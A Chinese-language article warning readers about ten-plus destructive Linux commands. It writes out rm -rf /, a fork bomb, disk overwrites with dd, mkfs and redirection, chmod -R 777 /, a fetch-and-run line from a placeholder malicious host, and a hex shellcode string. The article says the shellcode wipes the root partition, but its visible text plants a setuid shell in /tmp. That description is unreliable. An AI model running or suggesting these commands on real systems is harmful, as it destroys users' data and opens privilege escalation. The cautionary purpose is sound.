10 个最危险的命令——你永远不应该在 Linux 上执行
命令行界面是管理 Linux 系统的一个强大而方便的实用程序。它提供了一种快速而灵活的系统运行方式,尤其是在管理没有图形界面的无头系统时。
虽然命令行在管理系统方面很有用,但它也充满风险。运行错误的命令可能会对系统造成损害和不可挽回的损失。在本指南中,我们列出了一些最危险的命令,您不应该考虑在您的系统上执行这些命令。
1. rm -rf / 命令
rm命令是 Linux 命令,用于根据所使用的参数删除文件和目录。但是,使用rm命令时应格外小心,因为轻微的输入错误或失误可能会导致无法恢复的系统损坏。
当以 root 身份使用该-rf /
选项执行时,该命令将从(/)
Linux 文件层次结构中最高的根目录开始递归删除系统上的所有文件和目录。简而言之,该rm -rf /
命令会彻底清除您的系统,导致系统损坏且无法恢复。
rm 命令使用的某些选项如下。
- Linux中rm命令用于删除文件。
- rm -r命令递归删除文件夹,即使是空文件夹。
- rm -f命令无需询问即可删除“只读文件”。
- rm -rf /:强制删除根目录中的所有内容。
- rm -rf *:强制删除当前目录/工作目录中的所有内容。
- rm -rf .:强制删除当前文件夹及其子文件夹。
事实上,当您以普通用户身份运行该命令时,您会在终端上收到两个警告。
为了避免使用‘ rm ’命令意外删除文件,请在“.bashrc”文件中创建‘rm’命令的别名‘rm -i’,它会要求您确认每次删除。
2. :(){:|:&};: 命令
上述代码其实就是一个 fork 炸弹。它通过创建一个名为 的函数来运行':'
,该函数会调用自身两次,一次在前台,一次在后台。该函数反复执行,消耗所有系统资源,导致系统崩溃。
事实上,fork bomb 命令本质上是一种 DoS(拒绝服务)攻击。它也被称为 Wabbit 或 Rabbit 病毒。最糟糕的是,您不需要 root 权限即可发起此攻击。
值得庆幸的是,您可以通过将本地用户运行的进程数量限制为4000左右来保护自己免受此类攻击。
您可以通过运行以下命令来执行此操作:
$ ulimit -S -u 4000
您稍后可以使用以下命令进行验证:
$ ulimit -u
3.命令> /dev/sda
运行命令后会>/dev/sda
覆盖/dev/sda
硬盘上的块。此块包含文件系统数据,如果被覆盖,会导致系统损坏且无法恢复。
4. 创建文件夹 /dev/null
您不应该尝试的另一个有害操作是将目录或文件移动到/dev/null
。 该/dev/null
文件是一种特殊类型的文件,称为空设备或“黑洞”。 移动到的所有内容都/dev/null
将被丢弃和销毁。
以下命令将用户主目录中的所有内容移动到/dev/null
,从而丢弃用户主目录中包含的所有数据
# mv /home/user/* /dev/null
5. wget http://malicious_source -O- | sh
wget 命令是从网页或文件服务器下载文件的命令。上述命令从恶意来源下载脚本,然后执行该脚本。
6. mkfs.ext3 /dev/sda
mkfs命令会在格式化的存储设备(大多数情况下是硬盘驱动器的一个分区)上创建新的文件系统(ext2、ext3、ext4 等)。在分区上运行mkfs命令会擦除其中存储的所有数据。
虽然格式化磁盘分区很有用,但格式化整个驱动器(例如mkfs.ext3 /dev/sda)会导致系统崩溃并使其处于不可恢复的状态。发生这种情况的原因是它会破坏所有系统文件以及您的个人数据。
该命令还可以采用其他形式,如下所示。
# mkfs.ext4 /dev/sda # mkfs.xfs /dev/sda # mkfs.btrfs /dev/sda
7. >file 命令
file>
会清除文件内容并将其留空。它与cat /dev/null > file命令同义。因此,在 Linux 系统中使用重定向运算符时应谨慎。
下面演示了该命令如何覆盖文本文件。你可以想象当涉及的文件是配置文件时,该命令将导致多大的灾难。
8. ^foo^bar
该^foo^bar
命令的危险性和实用性取决于其执行方式。虽然它允许您编辑以前执行的命令并再次执行它们,但如果您在运行命令之前不注意对命令所做的更改,则可能会造成灾难性的后果。
9. dd if=/dev/random of=/dev/sda
上述命令会清除/dev/sda块并将随机垃圾数据写入该块。您的系统将处于不一致且不可恢复的阶段。
10. Chmod -R 777 /
虽然它可能不会立即导致您的 Linux 系统崩溃,但该chmod -R 777 /
命令会从根目录开始递归地将所有权限(读取、写入和执行)分配给 Linux 系统上的所有文件。
这实际上将所有关键配置文件和其他文件暴露给所有用户,这对您的系统构成了巨大的安全风险。任何心怀不轨的人都可以篡改关键文件并轻松破坏您的系统。
11. 隐藏的命令
下面的命令就是上面的第一个命令(rm -rf)
。这里的代码以十六进制隐藏,这样无知的用户可能会被愚弄。在终端中运行下面的代码将擦除您的根分区。
此命令表明威胁可能隐藏,有时通常无法检测到。您必须清楚自己在做什么以及会产生什么结果。不要编译/运行来自未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
注意:不要在您的Linux终端或 shell 中或朋友或学校的计算机上执行上述任何命令。如果您想测试它们,请在虚拟机上运行它们。
由于执行上述命令而导致的任何不一致或数据丢失都将破坏您的系统,对此本文的作者和示例均不负责。
现在就这些了。我很快会再次在这里带来另一篇你们会喜欢阅读的有趣文章。到那时请继续关注并关注示例。
如果您知道任何其他此类危险的 Linux 命令并且希望我们将它们添加到列表中,请通过评论部分告诉我们,并且不要忘记提供您宝贵的反馈。